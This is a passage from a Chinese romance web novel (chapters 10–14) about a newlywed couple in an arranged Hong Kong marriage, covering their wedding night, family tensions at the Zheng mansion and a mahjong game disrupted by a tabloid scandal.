黑稠的海水拍打着船身,他站在半明半昧的光影中,冷沉的气质比月色更凉。
穆慈恩也是在这一秒才恍然发现,这好像是郑烨生在正常婚礼上的第一次皱眉?
在送走了又一对宾客后,男人长腿前迈,重新站回到了她身侧。
“阿慈……”郑烨生压声唤,眼神中闪过了一丝歉疚。
眼神对到了一处,像是有感应一般,穆慈恩猜到了郑烨生后面想说的话,捏着巧克力的手紧了紧。
没什么稀奇的,毕竟他是忙里抽空结的婚。
“一会儿送完客,我先同你一块儿回去,有件急事需要处理,我要出去一趟。”
穆慈恩红唇上弯,手心的温度让巧克力有了变软融化的迹象。
天塌下来了,肯定也是工作的事更重要。
你看,甚至人家都体贴得知道先陪她回新房,然后再出去。
她用着不太在意的语气“哦”了一声,顺手剥开了巧克力。
自若地,男人从她手中接过了包装垃圾纸,没过多嫌弃地暂时放进了自己西装口袋。
穆慈恩眸光闪了闪,不甚在意地别开了视线。
——
婚房坐落在港城山顶,和郑烨生提前报备过的一样,他在陪她回到婚房后,又坐着另一辆车离开了。
整个过程,像极了一个经验丰富的时间管理大师。
受不了走到哪里都有人跟着,那些时刻在监控状态下的感觉让人应激,穆慈恩让菲佣们回到了偏屋。
此时此刻,偌大的新房,只有她一个人。
丝毫不觉得孤独,她很享受这短暂的自由时间。
本想泡澡休息,没曾想在进到主卧浴室时,穆慈恩被它大胆的设计,直接震醒了瞌睡。
落地玻璃幕墙倒映着整个繁华夜色,站在墙边,远到能俯瞰整个浪漫的维多利亚港,近到,能瞧见庄园楼下的婆娑树影和欧式喷泉,而双人大
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理石浴缸恰被安置在了玻璃前。
粼粼水波荡漾,浮着灯光点点,所有景致近在了眼前,错觉到人是要和整座城共浴。
知道这玻璃设计是单向的,外面绝对看不见里面,但是穆慈恩还是感觉到了羞耻。
她在某几个瞬间,有股很强烈的,和郑烨生打电话,问问这浴室到底是谁的主意的冲动。
总不能是他的吧,一个克制到没被下药,连亲吻都能及时止损的人?
直到抬头,发现浴室的天花板光亮到能倒影整间浴室后,
穆慈恩彻底没了脾气。
这个设计师为什么不直接把另一面墙设计成镜子?
这样不是更刺激吗?
拿出手机,她退到门外,对着整间浴室拍了一张照片,然后发给了她的便宜老公。
穆慈恩:【到底是哪个天才设计的这间浴室?】
直到穆慈恩缷了妆,泡完澡回到床上,男人都没有回复她,大有一副,结完婚完成任务,就要让她独守空房的架势。
算了……
冷静了几秒,她又不太想算了。
结婚第一天,他都敢这么不给她面子,那婚后她不得被压制得死死的?
还新婚快乐……
太憋屈了。
在柔软的到床上滚了一圈,穆慈恩拿起手机犹豫了半秒,又不服气的放下。
左右脑斗争了几秒,
她顶着“矜持”两个字在脑袋上,憋火地戳了戳郑烨生的头像——一张很无聊的阿尔卑斯山照片。
毫无反应,石沉大海。
咬了咬牙,她钻进了被子里嘟囔:“这是原形毕露了?”
“当时手机没有信号,收到消息的时候我已经到了山腰。”
低沉磁性的男音不疾不徐从门口传来。
穆慈恩怔愣了几秒,顺着声音方向望去。
男人仍穿着分别时的那身深灰西装,异色眸中带着些许疲惫,清冷幽邃,而他胸口处的那朵玫瑰花,仿佛下一秒就要枯萎。
“想回来回答你的问题。”他说着朝里走了一步,松了松领口,脱下了西装外套,手里拿有一本书。
穆慈恩坐在床上,有些自言自语埋怨人,结果被抓包的局促,嘀咕:“你…走路都没有声音的吗?”
没有信号?
去的是深山老林,还是封闭房间?
借口有点拙劣了。
“关于婚房的设计,设计师综合了我,母亲,你,还有岳母的意见,也采纳了对女人喜好很有了解的二哥的想法,至于这个天才到底是谁……”他轻咳了声,有几分无奈,“我也不清楚,你是不喜欢吗?我能让人来改。”
穆慈恩眼睛眨了眨,手指攥紧了被子。
她好像,也没有那么的不喜欢?但是回答喜欢,也太奇怪了!
眉尖轻挑,她选择把问题抛回去:“你要不进去试试,看习不习惯?”
郑烨生瞥了一眼浴室方向,稍稍颔首,又朝前走了一步,把手中的书递上前。
指尖捏到了书的一角,借着卧室的灯光,穆慈恩看清楚了书面的两个字——“郑氏家族”。
家规?
“这是母亲送来的,你先看看,我去洗漱。”
穆慈恩:“?”
下意识,她收回手,纸张片片翻动,厚厚的家规掉落到了床上。
他开什么玩笑?
11. Chapter11
看着男人走近浴室的背影,穆慈恩咬牙切齿。
好极了,
先因为工作晾了她半天,然后用假得不行的理由搪塞她,然后再送她一份比杂志还厚的家规……
这日子真不是人过的。
无意瞥了一眼翻开的纸张,标题显眼几个大字——“拟安排课程”。
粤语课,茶艺课,插花课,鉴赏课,麻将课……甚至还建议她去港大修MBA。
两眼一黑。
什么郑家家规,这完全是针对她的规矩啊!
他要做什么?振夫纲吗?
胸口窝火,穆慈恩烦闷地锤了一拳男人的枕头。
如同打在棉花上,一点也不解气。
看了一眼被子,她默默把它叠整齐。
新婚夜,她要清净清净。
——
郑烨生穿着浴袍从浴室出来,眉宇间还氤氲着水汽,从前额的发丝上,淌落了一颗小水滴。
水珠滚过,从额心滑落到鼻梁,再滴到唇瓣,他却无心去理会。
几步之遥,他新婚的太太,穿着单薄的黑色吊带睡裙,毫无危机意识地盘腿坐在正红色被子上,雪白细腻的大腿随意裸露在外,蕾丝勾勒着她身前的浑圆和若隐若现的沟壑。
而她旁边,摆放着被叠齐整的被子,压在被子上的是一个枕头,而枕头上摆着的,是他递过去的那份家规和计划书。
看模样,她气得不轻。
“你!”
穆慈恩耻高气扬地盯着男人,挑衅地昂了昂下颌。
目光短暂交接,她面对常年作为上位者,气势矜然沉冷的男人,也丝毫不怵。
“去客房!”
郑烨生站着未动,垂眸简单扫过了他的被褥,眼尾微挑,重新把眼神落在了他满脸倔强的太太身上。
也许过于气闷,穆慈恩胸口起伏的弧度变大了。
轻盈的绸质吊带裙贴合着曼妙的身姿,红与黑的衬托下,冷白的肤色如上好的羊脂玉。
在卧室的暖色灯光下,她卸完妆,如清丽的出水芙蓉,上目线抬起,盈盈眼波中,纯真又不失柔媚。
郑烨生看了几眼,又觉得芙蓉不太恰当,大概还是海棠更衬她。
“你怎么不说话?”
眨了眨眼睛,穆慈恩顺着郑烨生的目光慢慢向下看……
瞬间,她变得警惕,双手抱住了自己胸,连带着,腿也含蓄地收拢。
郑烨生笑意深了几分,没有搭话。
“我不是在跟你商量,我这是通知!”穆慈恩色厉内荏地强调,人怂怂地向着自己的被子挪去。
她只是觉得,在被子里说话,气场弱三分。
现在,被子外面说话,危险多三分。
郑烨生没有多话,长腿迈开,一步一步走向床边。
颀长的影子从容不迫地靠近,穆慈恩也支楞着身子,偷偷用手向后撩开被子,随时准备钻进去。
蓦地,男人顿住了,转身向着紧闭的房门走去。
大概是客房有被子不需要拿吧?
房门被拉开了,穆慈恩也窃喜着能够躲清闲了。
刚在床上,向被子跪着转身,她的腰就毫不设防地被一条结实的胳膊捞住了。
男人手臂恰好一圈,足够环紧她。
“啊!”
没从突然亲密的变故中缓过神,她就猛然腾空了。
郑烨生直接捞起穆慈恩,抗到了自己宽阔的肩膀上。
整个动作行云流水,轻而易举。
穆慈恩瞪圆了眼睛,失去平衡的后怕,让她牢牢抓紧了男人的浴袍。
鼻尖充盈着湿热的水汽,和残留在他身上的,淡淡沐浴露香。
极其羞耻的姿势,她甚至看不见郑烨生的表情。
“如果你想,客房也行。”
不冷不热的声音落在了耳畔,穆慈恩红唇张了张,有些慌乱。
她是这个意思吗!?
——
因为新婚,庄园的每个角落都被特地装饰了,客房也不例外。
鲜妍的玫瑰花系在了门把手,大红的囍字贴在冷灰色的墙纸上,红色的爱心气球飘在窗前一隅,冷暖碰撞,莫名的滑稽。
“那些课程,谁爱上谁上!反正我不去港大,不读MBA,不然,我拿你钱去天天重修课,为学校做贡献!”
穆慈恩恶狠狠地用拳头砸向了男人的后背,脚不服气地蹬了两下。
“粤语我是不太好,但我也学了一点点的,不是完全小白,很基本的我知道啊,就像麻将,你们这边是说麻雀对吧?”
“而且我打麻将打得可好了,不要学,茶艺我也会,你不会以为我只会调酒吧,这些都是很基本的……”
男人常年健身,她的挣扎如同徒劳,砸在他身上的力度,无异于隔靴止痒,甚至硬实的肌肉还硌得她手疼。
撇了撇嘴角,穆慈恩凶巴巴“哼”了一声,收了手。
“我告诉你,你再装哑巴,我就跟你翻脸了!”
郑烨生跨步到床边,单膝跪在床上,微微倾身把她放了下来。
“你不想学,就不学。”
羽绒的床垫深深陷下,叠整齐的被子一瞬间乱了。
穆慈恩在床上滚了半圈,用被子把自己包裹严实,只露着一颗脑袋在外面,眼睛亮亮的:“真的?”
眸光闪了闪,她垂下了脑袋,发丝乱糟糟的散下:“你肯定骗我的,我记得,婚前我问过你,我能不能想做什么做什么,想去哪里去哪里……”
掀起眼皮,她幽怨瞪他:“然后你给我画了一个饼。”
穆慈恩趴在床上,像可爱的蚕宝宝一样,露着一颗毛茸茸的脑袋,因为委屈,眉毛向下耷拉着,明媚的脸皱皱巴巴。
郑烨生目光在她脸上停顿了两秒,挨在床边坐下,轻轻抿了抿唇,缓慢开口:“我和郑太的关系,没有外界看起来的那么融洽。”
磁性低沉的嗓音如月下涓流,不疾不徐地在空气中淌过。
真正静下,那股淡淡的沐浴香又变得浓郁了些。
穆慈恩愣了愣,把脑袋又往被子里藏了藏,闷声:“知道,她想通过你做郑家摄政太后,你就是她的工具人。”
没有否认,郑烨生低低“嗯”了声,凝着湿气的眼睫缓慢搭落,掩住了眸底翻涌的思绪。
“我给你的那本册子,是母亲为你安排的,她做这些,一方面是为了郑家颜面,提醒你你的身份,另一方面,是想给你下马威,方便她日后拿捏你。”
完全没料到郑烨生会帮她剖析这件事的用意,穆慈恩眉心蹙了蹙,那些不忿也褪去了不少,酒意也消退了。
“可是,穆家不是会帮她那个二儿子牵线搭桥,我去学建
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筑设计,跟她互不打扰,也不掺和你们郑家内部斗争的事……”
说到一半,穆慈恩止住了。
如果嫁给郑烨生,作为他的太太,这些事好像是避免不了的。
她不可能不社交,就像一旦帮助了郑晋谦,她就不可能完全和郑家内部利益不相关。
“那些课程,你把你不需要的圈出来,我会和母亲交涉,规矩那些,你把表面功夫做好,就和你在穆家一样。”说到这里,郑烨生的眸底蒙上了一层很浅的笑意。
“虽然我们从郑家主宅分出来了,但这边的佣人多是母亲安排的,你日常还是需要注意一些分寸。”
“她让你学MBA,不一定是真的乐意你学,只是你不学,她也不见得乐意。”
“她这个人,看上去一点也不自洽……”穆慈恩裹着被子朝前近了几分,小声吐槽。
柔顺的被子边沿蹭过了郑烨生的指尖。
她能理解郑烨生受制于人的情景,甚至从昨晚那通视频电话,猜到郑烨生受制于郑太的大部分原因。
但是……
“那我这个日子,有头吗?”歪着脑袋,她望向坐在床边的男人,“你们家这么复杂,龙潭虎穴的……”
“非娶我呀?”
她明明很无辜,只是被穆家卖了,掺和到了他们家的事。
“现在的人其实很开放的,也不一定……”
说着,她脑袋朝下低了低。
因为她感受到了,郑烨生灼热的眼神,隔着被子,仿佛能把她盯穿。
“有,我答应你,一年。”他低声轻笑,“有确切的时间,就不算是画饼了吧?”
听到这句话,穆慈恩掀开了被子,望向郑烨生。
目光在虚空中交汇,爱心气球随风飘动,灰色墙纸上的囍字,落下了一个影子在中间。
湿热的,暧昧的,被被子包裹下的沐浴香味芬芳馥郁。
穆慈恩才发觉,他们用的,是同一个味道的沐浴露。
“还得再加一条,如果超过了一年怎么办?”
“你想怎么办?”
两句话一前一后落下,紧紧相迫。
穆慈恩偏过脑袋看着“囍”字贴花,咬着后槽牙话吐字极快,含含糊糊:“你说和平离婚有可能吗?”
郑烨生长睫轻颤,喉结无声滑动,手指缩紧按压住了被角。
房间内忽然变得安静,时间的走速好像也快了起来。
穆慈恩不确定男人是不是听真切了,也觉得在新婚提这个有些晦气,更知道联姻不是说离就离的。
她轻咳了声,放慢了语速:“我刚才是想说……”
郑烨生眼尾向上挑起,嘴角弯起了一抹清淡的弧度:“我答应你。”
穆慈恩怔怔咬了咬唇:“哦。”
奇怪了,他真答应了,她也觉得有点点的不爽?
“能做到最好了!”她不轻不重哼了声,迅速裹着被子从男人身旁爬开,字字铿锵强调,“我要睡觉了!”
“嗯。”郑烨生没有多说什么,从床边站起身。
灯暗了,空调风也被调小了。
穆慈恩松了口气,想着她睡客房郑烨生睡主卧,也还不错。
刚呼出一口气,把胳膊从被子里拿出来,她便察觉到身旁床向下重重陷去。
黑暗里,两道呼吸一前一后落下。
12. Chapter12
在床上安安静静躺了几秒钟,穆慈恩故意大幅度支起身子,往床边挪了挪。
黑暗里,她紧紧蹙着眉心,不太乐意地撇了撇嘴角,用被子包裹着小腿很轻地踢了踢郑烨生的被子。
“诶…你怎么…这么自然地躺下了。”
她磕磕巴巴说着话,声音细细的,带着一抹不自然。
窗帘掩得严实,灯暗下,房内一丝光也没有,眼睛没有适应黑暗,目之所及黑茫茫的一片,只有一股清雅的乌木香,混着淡淡的,潮湿的沐浴气息。
“这是新婚夜,我们分房间,传出去不好。”
男人嗓音低磁发哑,夹杂着浓厚的倦意,尾音压得沉,透着股说不出的性感。
像有人拿着砂纸在心尖上磨砺,穆慈恩咬了咬唇,迅速把脚收回:“哦…”
耳后根发热,她总幻觉到郑烨生灼热的体温在一点点顺着被单蔓延,然后攀上她的肌肤。
苏黎世同床共枕那晚,她醉得有些重,睡得也很沉,
可现在脑子清醒了,旁边多了一个异性,这对于二十多年都一个人睡觉的人来说,有一丢丢不习惯。
默默她重新缩进了被子里,把自己团成了一团。
男人没再说话,被褥处却传来了窸窣几声。
床榻深陷共振,一股更清晰的乌木香涌过来,穆慈恩心尖猛地一跳。
明明周围是浓重的黑暗,她却感受到了一道炽热的视线扫过了面颊。
“我比较喜欢朝左侧睡。”他的声音比刚才更低了些,伴着气音,“你不愿意,我不会强迫你。”
枕头与枕头间压得严丝合缝,人影近在咫尺。
穆慈恩睫毛颤了颤,眼睛渐渐适应了黑暗,一望便撞进了一对模糊又清亮的深眸中。
心跳又变快了。
她急忙拉好被子转身,发梢扫过枕头发出细微的声响,独留了一个后脑勺面对男人。
轻轻的,她用鼻音哼出了一声“嗯”。
静谧的夜里,蓦地传来了一声很轻的低笑。
滚烫的,连带着周遭气流都摇晃了。
“晚安。”郑烨生温和地用气声道。
唇瓣动了动,穆慈恩慢慢闭上了眼睛,往被子里蹭了蹭。
周围安静了,依稀能听见空调出风的“呼呼”声。
也许是十分钟,也许是一个小时,穆慈恩睁开了眼睛。
辗转翻身。
其实,她习惯是朝右边睡。
黑暗勾勒着男人流畅的肩线,被柔顺发丝掩住的,是平时深沉又夹杂锐利的眉眼。
眨了眨眼睛,穆慈恩用低不可闻的声音道:“其实,我不是矫情,就是今天婚宴后有点累,又因为那厚册子,和你不回消息的事,生了一点点气。”
“新婚夜该做的事,就下次补上吧?”
把憋在心底一通话说完后,穆慈恩如释重负。
现在,应该能睡着了。
“嗯。”
眼睛刚闭上,微不可察的,她听见了一声回应,幻听一样。
整个人僵硬在了被子里。
强制性她闭上了眼睛转身,好像不够,她又用被子把脑袋罩住了。
黑暗里,郑烨生闭着眼,勾了勾唇。
一夜无梦。
——
郑家主宅坐落于太平山顶,哥特式古堡,始建于上个世纪初,由青灰色瓦和米黄色柱体相间搭成,深灰色的尖顶古老气派。
劳斯莱斯幻影停在了主宅草坪前,入目皆是碧色,石子道路旁立有欧式圣女雕像,雕像斑驳古老,据说是座天价拍得的老古董。
“冷色调,哥特式设计,高耸坚顶,小面积高侧窗……”
在跟随管家进到会客厅的途中,穆慈恩小声点评着主宅的设计风格,长呼出了口浊气。
这一路,除了草坪算开阔,其他的设计都很肃穆压抑,总给人一种喘不过气的感觉。
她有些庆幸当时穆家据理力争,为她和郑烨生挣得了一个能够搬离主宅,独立居住在外的机会。
听见身旁传来的嘟囔声,郑烨生侧过脸低声问:“怎么了?”
穆慈恩轻挑眉梢,摇了摇脑袋。
她总不能说,你家给我感觉很难受吧?
蓦地,手被人牵住了。
“这是新婚的第一天,我们…应该表现得亲密一点。”
耳边落下了一道清冷磁性的男声,是只有他们两个人能听见的音量。
她的手被男人带着,挽上了他的臂弯。
自然风从飘窗吹入,拂过了簪上流苏,拂过了男士胸针,吹落了插花的花瓣。
地上的影,亲密无间。
“Byron少爷,夫人,太太他们就在前面。”管家站在走廊前,毕恭毕敬地微笑着。
会客厅是中世纪的欧式风格装潢,棱柱形水晶吊灯垂落在中间,深灰色沙发上端坐着几个人。
其中在首位品着茶的中年女人是郑太,而坐在她身边的两个人分别是她的大儿子郑晋辉Carter,和小孙子郑世轩Oliver。
在左侧边沙发上坐着的,是郑晋辉的太太白雯琳,而右侧沙发上坐着的,是郑晋谦和他昨天因病未出席婚宴,气色不太好的太太许卓盈。
六道视线,在穆慈恩和郑烨生走来的时候,一齐落在了他们身上,齐压压的,带着很强的压迫感。
面对着若有若无的威压,穆慈恩始终淡定从容。
考虑的郑烨生比较敏感的身份,她决定跟着郑烨生称呼他的这些“家人”。
郑烨生:“母亲。”
穆慈恩:“母亲。”
郑烨生:“大哥。”
穆慈恩:“大哥。”
……
她不卑不亢地依次同群人打招呼,直到对着精致妆容也难掩眉眼病色的许卓盈,低唤了一声“二嫂”,她才发现了一件事。
依稀记得,那针对她的家规中有一条——“随丈夫出席重大场合,如宴会,媒体采访等活动,需在丈夫开口引导后,随之回应,不得擅自插话或发表意见。”
整场打招呼,她像极了夫唱妇随的复读机哪怕是有原因的,这个认知也让人很不爽。
21世纪了,还在搞封建这套,和穆家也是不相上下。
不爽到,现在就想把搭在郑烨生臂弯的那只手抽出。
她动了动手,男人却不动声色地把她夹得更紧。
许卓盈微微弯唇,从座位上起身,拿出了一个包装精良的黑丝绒礼盒,柔声用着普通话道:“我因为……身体原因,不适合参加你们的婚宴,这里面是一对黄金龙凤镯,是我送你们的
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新婚礼,也是赔礼。”
“诶,你心意係好嘅,但係Victor做珠宝生意嗰行?,一对镯仔睇落,仲係显得好寒酸。”白雯琳轻笑着端起茶抿了一口,瞥了一眼穆慈恩,“人阿慈係北京嚟嘅名媛嚟?,对呢啲嘢好有讲究嘅,人哋哪会睇得上啊?”
“大嫂係觉得,阿盈送乜礼物先合适呢?真係送得贵重咗,越过你同媽咪,你又会话阿盈唔知轻重吧?”郑晋谦懒散地单手撑着脑袋,笑着反问。
白雯琳脸上表情僵了僵,又准备开口说什么时,郑太重重搁下了手中的茶盏。
“好啦,你哋一句跟一句,系想让阿盈嘅面子,定係Byron同阿慈嘅面子啊?”
许卓盈愣了几秒,直接把礼物塞进了穆慈恩的手心,对着郑太勉强挤出了一点笑容:“其实大嫂讲嘅都有道理,係我做得唔夠好。”
说完这句话,她重新坐回到了郑晋谦的身边。
穆慈恩看着手中的礼物愣神,前面所有一句一句粤语对话,她都听得云里雾里,脑子还没反应过来前一个在说什么,后一个人已经开了口。
好像经历了一段争执,也许是聊天?可她始终和局外人一样置身事外。
“谢谢二嫂,这份礼物很好。”
男人温润低沉的声音让她缓回了神。
是普通话。
机械性的,穆慈恩笑着礼貌回:“谢谢。”
郑太目光在他们相挽住的胳膊上顿了几秒,眉头轻挑:“果然係新婚,两个人黏餐懵咁。”
“系呀,见到佢哋两个,我成日都会念起我同阿琳刚结婚嗰阵,时间过得真係快,世轩都已经有六岁喇。”郑晋辉感叹地笑了笑,偏头看了眼自己儿子,“Oliver,你仲未叫人吧?”
郑世轩眨着眼睛看了看穆慈恩,又看了看郑烨生,傲慢别过脸开口:“但係他们只係为我郑家嘅打工仔咋,有咩好叫啫?”
“Oliver,唔可以冇礼貌呀!”郑太皱着眉头,低声斥责,很快,她面带微笑地看着郑烨生和穆慈恩,简单示意,“Byron,阿慈,坐。”
郑烨生在郑太和郑世轩身上,深深凝了一眼后,稍作颔首后,牵着穆慈恩坐到了右侧沙发。
哪怕左边白雯琳旁有更大的空间,他也没有选择在那里落座。
穆慈恩不确定这是大嫂太不好相处的原因,还是因为要以左为尊的原因。
刚才新的对话,她只听了三分懂,但她知道,郑世轩对他们很不礼貌,哪怕郑太帮着斥责,也是明显在双标,轻拿轻放。
顶上水晶吊灯的光,太冷冽了,
那来自城市差异带来的强割裂感,让人控制不住地难受和委屈。
她没有做错什么,只是因为嫁给郑烨生,所以在郑家承受了本来不需要有的敌意。
也只是因为嫁人,所以要远住在他乡,听着陌生的语言,只怕就算别人骂她,她可能也要反应半天。
手心渗出了冷汗,在冰冷又空旷的客厅,穆慈恩很想逃离。
无意识,她捏紧了郑烨生的袖子,指尖泛着白色。
一声叹息。
“有时候,不如听不懂他们的话。”
男人靠近了她的耳边,用极轻的气音对她耳语。
呼出的热气,酥酥麻麻撩动了鬓边的碎发。
13. Chapter13
穆慈恩极缓地眨了下眼睛,偏过脑袋望向身旁的男人。
恰好,和他的目光错过了。
郑烨生微笑着望向郑太,不紧不慢开口:“母亲,我想这段时间大哥应该熟悉美国业务了,以大哥的能力,D&L合作项目的后续……”
他停顿了半秒,清淡瞥了一眼郑晋辉,唇边笑意也深了几分:“他肯定没有问题。”
在听见“D&L”的音后,郑晋辉的脸色就变了,连脸上的笑容也开始变得僵硬。
“Byr…”
他嘴巴张了张,声音没来得及出完,话又被堵住了。
“美国分公司的老员工们都很看中大哥。”郑烨生眉梢轻挑,又不卑不亢地敛起了眉眼,“这正是他能快速服众,树立威望的机会。”
男人低磁又徐徐的嗓音,宛如醇厚醉人的红酒,字正腔圆的普通话发音,正将割裂开来的空间,一点点拉回。
眸光轻闪,穆慈恩慢慢放松了手指。
沙发位置有限,她始终贴着男人的身体。
彼此的体温,正隔着衣料,做着最隐秘的热量交换。
心跳在一点点变快。
她是忽然有的好奇。
郑烨生的普通话,完全没有港式口音,是在京城读书的那段时间练的吗?
他的母语如果是法语的话,粤语也是后天练的吗?
什么语言小天才啊!
郑太如炬的目光反复在郑烨生的眉眼间徘徊,可始终瞧不出一丁点的锋芒和端倪。
良久,她看着郑晋辉轻笑:“Carter,你冇问题啩?”
郑晋辉有几分急切,表情也变得为难:“妈咪啊,我…”
“当然冇问题啦,Carter当初系在美国读书嘅,对呢边各方面嘅熟悉程度,一定比Byron劲,妈咪你就放心啦!”白雯琳抢在郑晋辉前面回答,同时也对着郑晋辉强势地使了一个眼色。
“那就好
郑晋辉硬挤出了一丝笑:“嗯…”
“咁就好啦,Oliver都慢慢大咗,系要做好榜样,耳濡目染好重要嘅。”郑太揽住了郑世轩的肩膀,慈爱地拍了拍,简单环顾一圈,“好啦,离午饭仲有啲时间,家庭聚会随意啲就得?啦,我都想打几圈麻雀玩下,有冇人嚟陪我吖?”
“妈咪,我陪你啦!”郑晋谦笑眯眯地接话。
白雯琳也不甘示弱回应:“我也去,好久没陪妈咪玩啦。”
郑太轻轻颔首,目光落在了穆慈恩身上,依旧说着地地道道的粤语:“阿慈,你会打麻雀吗?”
穆慈恩能听懂郑太是什么意思,也能理解入乡随俗的意思,可是……
她在整个聊天的过程中,都感受到了一份刻薄,甚至是故意。
最大的对比,应该是在结婚前的晚上,和郑烨生妈妈Kathy的聊天,她用着磕磕绊绊的语句,前后颠倒的语序,和生涩艰难的发音,向她展露自己最大的善意。
穆慈恩露出了难色,眨着幼圆清澈的眼睛看向郑太:“Sorry母亲,我粤语学得不太好,不是很懂您的意思。”
郑烨生眼底闪过了一层很浅的笑意,立马,他温声对着穆慈恩解释:“母亲的意思是,你会不会打麻将。”
穆慈恩眉心微不可察地蹙了蹙,眼睛瞪得又圆了些。
是被她的“猪队友”气的。
谁让他翻译了!她不是想让郑太说普通话吗?
一点默契也没有。
红唇上勾,她扯出了一抹笑容:“我…”
“咁基本嘅粤语都听唔懂架?”白雯琳诧异高傲地弯了弯唇,“之后到底点算好啊?”
郑太摇摇头,大方摆手:“唔紧要,我榜阿慈挑好咗老师喇。”
穆慈恩:“……”
那一瞬间,她想到了被安排的粤语课,也想到了自己密密麻麻的课程,和那些只剩糟粕的规矩。
望着郑烨生的目光,又幽怨了三分。
到底是谁说她不想学就不学的?
他这是在做什么,对她使用郑家组合技,打配合呢?!
后槽牙紧紧咬了咬,生怕真的被郑太勒令报那离谱的麻将班,她立马笑眼弯弯点头:“我会呀,来港城前,我有了解过你们这边的规则。”
偷偷的,她拧了拧男人小臂上的肌肉。
手感又硬又结实……
郑烨生眉头未皱一下。
她更气了。
郑太端起茶优雅抿了口,笑道:“咁就一齐玩啦,畀我哋露两手睇下!”
“H…”穆慈恩刚发出一个小音节,话就被人拦下了。
“母亲,阿慈初来港城,在这边难免不太适应,粤语学习和实用还是有差距的,在她粤语课结束的这段时间……”郑烨生看着穆慈恩,朝她递了一个放心的眼神,随后含笑望着郑太,“同她说话,能不能先用国语?”
“舍得女儿千里迢迢嫁来港城,是穆家对这桩婚事的诚意,礼尚往来,我们,是不是也应向她表达我们的诚意?”
他看上去是在商量,语气却绵里带硬,不容置喙。
听见“穆家”这两个字,郑太眼神不免深了几分。
白雯琳不太服气:“Byron,你搞冇搞错啊,我哋同佢多将粵语……”
郑晋辉一连几声咳嗽,直接盖住了自己老婆的话:“咳咳咳…恰好Oliver也在学国语,多用国语说话也好啊。”
看着突然转变态度的郑晋辉,穆慈恩觉着有趣又神奇,伸手扯了扯郑烨生的袖子。
下一秒,男人按住了她在作乱的手。
干燥的手心直接霸道地包裹住了她的手指。
不轻不重捏了捏,然后松开。
像在提醒着什么。
郑太眯了眯眼睛,放下了茶盏,语气听不出喜怒,妥协了:“也好。”
——
因为郑太尤爱牡丹花,麻将桌设在了庄园后的玻璃花房里。
一簇簇鲜妍的牡丹花争奇斗艳,正红的牡丹花瓣层层叠叠,单一炫目的赤色让人如置火浪中。
碧色水晶麻将碰撞,发出了“噼啪”的清脆声。
郑晋辉和郑烨生,坐在花房圆桌边谈论美国业务;郑世轩坐在一旁的凳子上戴耳机玩着游戏机,不时会吃几口搁在手边的布朗尼蛋糕;许卓盈一个人在最边缘的地方看着牡丹花垂眸发呆,和清丽疏离的影子,和四周都格格不入……
“弟妹和Byron感情真好,才分开没一会儿,就不习惯了?”
郑晋谦玩世不恭的调侃声落在耳边,在郑太和白雯琳的注视中,穆慈恩急忙收回了打量花房四周的目光。
谁说她在看郑烨生?她看得明明是许卓盈。
蓦地,她在郑晋谦的眸底捕捉到了一缕冷意。
莫名其妙。
郑家一家子都莫
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名其妙!?
穆慈恩的指尖轻轻点着牌桌,目光落在了靠指尖最近的牌上——六万。
牌桌上,向来讲究牌品即人品,下家跟着上家节奏。
不知是有意还是无意,穆慈恩的下家是郑太。
其实整场牌局的节奏,无论是白雯琳还是郑晋辉,都在跟着郑太走,出牌看郑太眼色,与其说是玩牌,不如说是讨好郑太。
她算牌如果没错,郑太快胡牌了,她最需要的,也是她手边这枚六万。
“倒也没有,哪怕是新婚夫妇,一直黏在一块儿,我也怕被人笑话。”
说着,穆慈恩仿佛看不懂眼色的样子,随手递出了一枚无关紧要的“红中”。
“弟妹,你不是在京城学过打牌吗?怎么真打起来,还像个…不知轻重的新手?”白雯琳挑了挑眉,“不知轻重”四个字故意咬得很重。
对着这句阴阳怪气,穆慈恩依旧嘴角噙着笑:“好长时间没玩,有些生疏了。”
郑太的目光凝在穆慈恩牌上半晌,眉眼沉了几分,轻笑:“红中也好,碰不上留着也占地方,打出去反而旺牌。”
她话声刚落,准备打出一张手牌,不远处,管家急切拿着一份花花绿绿的娱乐杂志走来。
管家别有深意地瞥了一眼穆慈恩,抿了抿唇,俯身同郑太耳语,又急忙把杂志递上前给她看。
牌局暂时被打断,被人睨了一眼,穆慈恩也从容淡定。
能有什么事呢?
最好多聊一会儿,她能乐得清闲。
“我知啦,你先落去。”郑太不耐地对着管家说了这话,顺手接过杂志打出了一张“七万”。
“我没猜错,这牌妈咪在手中握了许久吧?也舍得打?”郑晋辉一边笑眯眯地摆出了两张“七万”,“唔好意思,碰!”
“还是Byron,气得我都没什么心情看牌啦!”郑太没好气地把杂志摆到了牌桌上。
Byron?
郑烨生能有什么事?
穆慈恩愣了几秒,抬眸望了眼不远处仍在谈论公事的男人,也垂眸扫向杂志。
——“惊爆!郑穆京港联姻竟成世纪闹剧,郑烨生新婚夜夜奔顶级会馆,私会港姐陈诗怡两小时!”
杂志封面图是拼接,一张是穆慈恩和郑烨生特意被人做成裂开的婚礼亲吻图,一张是郑烨生模糊进入会馆的背影,一张是陈诗怡性感的比基尼照片。
穆慈恩:“?”
白雯琳弯了弯唇,随手打出了一张六万牌:“假的吧,阿慈和Byron不是如胶似漆吗?两个人新婚难舍难分,不然是装的啊?”
“这陈诗怡,身材确实正点啊。”郑晋谦看热闹不嫌事大,似笑非笑地点评着那张比基尼图,“我记得Byron上个项目谈的代言人,就是她吧?”
穆慈恩眸中的笑意敛去了几分,眼神从杂志上挪开了。
郑烨生新婚夜出门这件事,的确是真的。
“这件事……”
穆慈恩话没来得及完全说完,一道高大的身影从背后朝她罩下。
浓郁的乌木香擦过了鼻尖。
男人半包围地圈住她,修长温润的手指,一一滑过了她的牌。
在众牌中,他挑出去了一张六万,又拿起了白雯琳刚打出的那张六万。
“清一色,胡了。”
低磁悦耳的嗓音,温柔轻缓,暧昧地擦过了耳畔。
14. Chapter14
漂亮的牌型平摊在桌面,碧色牌身在阳光下反射着清透的光华。
紧挨在牌边的,是那份突兀的娱乐杂志。
郑烨生在帮出牌后并没有退开步子,反而低俯着身体,两手撑着桌沿,以保护以及占有的姿态,把穆慈恩护在了身前。
下颌刚好轻擦过了她的发丝。
簪上的蝴蝶珍珠流苏,无声晃了晃。
红唇向上勾了勾,穆慈恩慵懒地眯了眯眸子,眼角眉梢都染着浅淡的笑意,一副对桌面上被摆开的八卦,置若罔闻的模样。
“不好意思,胡牌了。”
白雯琳脸上的笑容僵了一秒,看了一眼郑太,急忙接话:“你这手气也太旺了,刚还说自己许久没玩,这怕不是诓我们的吧?”
她干笑了两声,别有深意补充:“不过,都说东边不亮西边亮,有得有失吧?”
